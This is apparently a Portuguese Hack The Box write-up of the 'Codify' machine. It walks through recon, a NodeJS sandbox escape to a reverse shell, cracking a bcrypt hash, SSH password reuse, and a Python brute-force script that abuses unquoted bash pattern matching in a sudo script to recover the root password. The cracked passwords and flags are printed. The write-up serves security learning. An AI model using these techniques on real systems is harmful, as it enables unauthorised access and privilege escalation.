Hackthebox
Neste writeup iremos explorar uma máquina linux de nível easy chamada Codify que aborda as seguintes vulnerabilidades e técnicas de exploração:
- NodeJS SandBox Escape
- Bad Practice with password re-use
- Bash conditional abuse
Recon e user flag
Iremos iniciar realizando uma varredura no ip do alvo em busca de portas abertas utilizando o nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify] └─# nmap -sV --open -Pn 10.129.67.147 Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-06 14:59 EST Nmap scan report for 10.129.67.147 Host is up (0.25s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 3000/tcp open http Node.js Express framework Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Existem três portas abertas no host:
- 22 é a porta do ssh,
- 80 esta rodando um Apache, que é um servidor web,
- 3000 esta rodando um aplicação em NodeJS, que é um framework para javascript.
Também temos o retorno do host utilizado (codify.htb), vamos adicionar em nosso /etc/hosts.
Acessando a porta 80 através do navegador temos um site que emula uma sandbox para testar código em NodeJS:
Clicando em Try it now somos redirecionados para o endpoint /editor:
Onde podemos executar códigos utilizando nodejs. E aqui encontramos nossa primeira vulnerabilidade.
No terminal vamos utilizar o netcat para ouvir na porta 9001:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify] └─# nc -nvlp 9001 listening on [any] 9001 ...
E no editor vamos adicionar o seguinte código:
Dessa forma ao clicarmos em Run temos o seguinte retorno em nosso netcat:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/codify] └─# nc -nvlp 9001 listening on [any] 9001 ... connect to [10.10.14.162] from (UNKNOWN) [10.129.67.147] 52094 bash: cannot set terminal process group (1238): Inappropriate ioctl for device bash: no job control in this shell svc@codify:~$
Conseguimos um shell como usuário svc!
Este usuário não possui a user flag, sendo necessário realizar uma movimentação lateral para outro usuário. Neste caso o usuário é joshua:
svc@codify:~$ ls -alh .. ls -alh .. total 16K drwxr-xr-x 4 joshua joshua 4.0K Sep 12 17:10 . drwxr-xr-x 18 root root 4.0K Oct 31 07:57 .. drwxrwx--- 3 joshua joshua 4.0K Nov 2 12:22 joshua drwxr-x--- 4 svc svc 4.0K Sep 26 10:00 svc
Podemos notar alguns serviços interessantes rodando no servidor e entender mais a fundo o funcionamento da aplicação em nodejs.
www-data 1167 0.0 0.1 1248900 5968 ? Sl 19:57 0:00 /usr/sbin/apache2 -k start www-data 1168 0.0 0.1 1249032 6632 ? Sl 19:57 0:00 /usr/sbin/apache2 -k start root 1233 0.0 2.0 1614296 79860 ? Ssl 19:57 0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock svc 1238 0.4 1.4 643260 58900 ? Ssl 19:57 0:06 PM2 v5.3.0: God Daemon (/home/svc/.pm2) svc 1256 0.3 1.5 654004 62572 ? Sl 19:57 0:04 node /var/www/editor/index.js svc 1257 0.2 1.5 653800 62548 ? Sl 19:57 0:04 node /var/www/editor/index.js svc 1273 0.2 1.5 653800 62460 ? Sl 19:57 0:04 node /var/www/editor/index.js svc 1277 0.2 1.5 653864 62032 ? Sl 19:57 0:04 node /var/www/editor/index.js svc 1463 0.3 1.5 654212 62852 ? Sl 19:57 0:05 node /var/www/editor/index.js root 1564 0.0 0.0 2888 956 ? Ss 19:57 0:00 /bin/sh /root/scripts/other/docker-startup.sh root 1565 0.2 0.8 190444 33940 ? Sl 19:57 0:03 /usr/bin/python3 /usr/bin/docker-compose -f /root/scripts/docker/docker-compose.yml up root 1634 0.0 0.0 1082092 2892 ? Sl 19:57 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3306 -container-ip 172.19.0.2 -container-port 3306 root 1653 0.0 0.3 722280 12232 ? Sl 19:57 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id f88b314ed6a4f84693267bda194d6266bdde5798ef5ccd082109b2566fda07f8 -address /run/containerd/containerd.sock lxd 1673 0.0 2.5 1209952 101224 ? Ssl 19:57 0:00 mariadbd svc 1885 0.2 1.4 644132 59364 ? Sl 20:11 0:01 node /var/www/editor/index.js
Temos um apache rodando que esta servindo de proxy reverso para a aplicação nodejs na porta 3000.
Também temos um docker rodando que possui um container para o banco de dados na porta 3306, que se trata de um MariaDB. Que é um MySQL open source.
Com essas infos temos diversos pontos para buscar formas de movimentação lateral e também escalação de privilégios.
Vamos analisar os arquivos da aplicação buscando encontrar algum dado sensível exposto.
Dentre os arquivos que chamaram a atenção se encontra o tickets.db:
svc@codify:/var/www/contact$ ls -lah ls -lah total 120K drwxr-xr-x 3 svc svc 4.0K Sep 12 17:45 . drwxr-xr-x 5 root root 4.0K Sep 12 17:40 .. -rw-rw-r-- 1 svc svc 4.3K Apr 19 2023 index.js -rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json -rw-rw-r-- 1 svc svc 76K Apr 19 2023 package-lock.json drwxrwxr-x 2 svc svc 4.0K Apr 21 2023 templates -rw-r--r-- 1 svc svc 20K Sep 12 17:45 tickets.db
Esse é um arquivo sqlite utilizado pela app. Vamos realizar o download do mesmo e abrir utilizando o sqlite database browser.
E aqui podemos encontrar a seguinte informação:
Se trata de um hash para a senha do usuário joshua! Vamos salvar esse hash em um arquivo e utilizar o John The Ripper para quebrá-la:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify] └─# john -w=/usr/share/wordlists/rockyou.txt joshua-hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status spongebob1 (?) 1g 0:00:00:39 DONE (2023-11-06 15:27) 0.02550g/s 34.88p/s 34.88c/s 34.88C/s crazy1..angel123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
Com essa senha encontramos outra má prática, que é reutilizar a senha em mais de um local. Pois com essa senha conseguimos acesso ssh com o usuário joshua e assim a user flag:
┌──(root㉿kali)-[~kali/hackthebox/machines-linux/codify] └─# ssh joshua@codify.htb The authenticity of host 'codify.htb (10.129.67.147)' can't be established. ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'codify.htb' (ED25519) to the list of known hosts. joshua@codify.htb's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Nov 6 08:28:47 PM UTC 2023 System load: 0.0087890625 Usage of /: 69.1% of 6.50GB Memory usage: 20% Swap usage: 0% Processes: 237 Users logged in: 0 IPv4 address for br-030a38808dbf: 172.18.0.1 IPv4 address for br-5ab86a4e40d0: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.129.67.147 IPv6 address for eth0: dead:beef::250:56ff:fe96:3567 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status joshua@codify:~$ ls -a . .. .bash_history .bash_logout .bashrc .cache .profile user.txt .vimrc joshua@codify:~$ cat user.txt fd3367ba0f1f94ea8b5634db1e5bd2c0
Escalação de privilégios e root flag
Iremos iniciar visualizando as permissões que o usuário joshua possui:
joshua@codify:~$ sudo -ll [sudo] password for joshua: Matching Defaults entries for joshua on codify: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User joshua may run the following commands on codify: Sudoers entry: RunAsUsers: root Commands: /opt/scripts/mysql-backup.sh
Utilizando o comando sudo com a flag -ll conseguimos ver com mais detalhes as permissões de sudo que o usuário possui.
O usuário pode executar o script /opt/scripts/mysql-backup.sh com permissões de root. Vamos analisar o script:
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh #!/bin/bash DB_USER="root" DB_PASS=$(/usr/bin/cat /root/.creds) BACKUP_DIR="/var/backups/mysql" read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo if [[ $DB_PASS == $USER_PASS ]]; then /usr/bin/echo "Password confirmed!" else /usr/bin/echo "Password confirmation failed!" exit 1 fi /usr/bin/mkdir -p "$BACKUP_DIR" databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)") for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done /usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!'
Aqui vemos que precisamos informar uma senha que bata com o conteúdo de /root/.creds, para que o script seja executado.
Podemos constatar que a ideia é descobrir a senha e que ela seja a mesma do usuário root, pois a execução do script em si somente filtra removendo os bancos information_schema e performance_schema, de forma que os demais tenham um backup efetuado através do comando mysqldump.
Analisando o código bash encontramos uma vulnerabilidade na condicional que realiza a comparação entre a senha fornecida pelo input do usuário e a senha que consta no arquivo do usuário root.
Ocorre que quando o operador do lado direito dentro do duplo colchete não esta entre aspas o bash realiza uma combinação por padrões, conhecido como pattern matching. Ou seja, você não precisa passar o valor exato, somente um valor que seja verdadeiro.
Por exemplo, se a senha for hackthebox, se você informar o valor hack* o mesmo será aceito.
Com isso podemos tentar buscar a senha através de brute force!
Podemos realizar um teste rápido para validar nossa teoria. Criamos um arquivo contendo todos os caracteres ASCII através do seguinte comando:
for ((i=32;i<127;i++)) do printf "\\$(printf %03o "$i")"; done;printf "\n" > ascii.txt
Com o arquivo em mãos podemos realizar um simples brute force:
joshua@codify:~$ for i in $(cat ascii.txt); do echo "$i*" | sudo /opt/scripts/mysql-backup.sh - && echo $i; done Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmation failed! Password confirmed! mysql: [Warning] Using a password on the command line interface can be insecure. Backing up database: mysql mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES Backing up database: sys mysqldump: [Warning] Using a password on the command line interface can be insecure. -- Warning: column statistics not supported by the server. All databases backed up successfully! Changing the permissions Done! ? Password confirmation failed!
Agora temos um padrão, quando a senha o valor ascii é inválido retorna “Password confirmation failed!” e quando é válido retorna “Password confirmed!”.
Com isso podemos criar um script que quando recebe o retorno de senha válida adicionar numa lista, assim printando a lista!
Podemos criar utilizando python para facilitar, uma vez que ele ja possui uma forma mais simples de gerar os caracteres em ascii.
Resultando no seguinte script:
import string import subprocess all_ascii = list(string.ascii_letters + string.digits) password = "" found = False while not found: for character in all_ascii: command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh" output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout if "Password confirmed!" in output: password += character print(password) break else: found = True
E ao executar temos o seguinte retorno:
joshua@codify:~$ python3 brute.py k kl klj kljh kljh1 kljh12 kljh12k kljh12k3 kljh12k3j kljh12k3jh kljh12k3jha kljh12k3jhas kljh12k3jhask kljh12k3jhaskj kljh12k3jhaskjh kljh12k3jhaskjh1 kljh12k3jhaskjh12 kljh12k3jhaskjh12k kljh12k3jhaskjh12kj kljh12k3jhaskjh12kjh kljh12k3jhaskjh12kjh3
Com o resultado em mãos podemos escalar privilégios para root e buscar a root flag!
joshua@codify:~$ su root Password: root@codify:/home/joshua# ls -a /root/ . .. .bash_history .bashrc .creds .local .mysql_history .profile root.txt scripts .ssh .vimrc root@codify:/home/joshua# cat /root/root.txt 1e36b6429f527ac7327a8eb4a4fa57a5
Finalizando assim a máquina Codify!!
Top comments (0)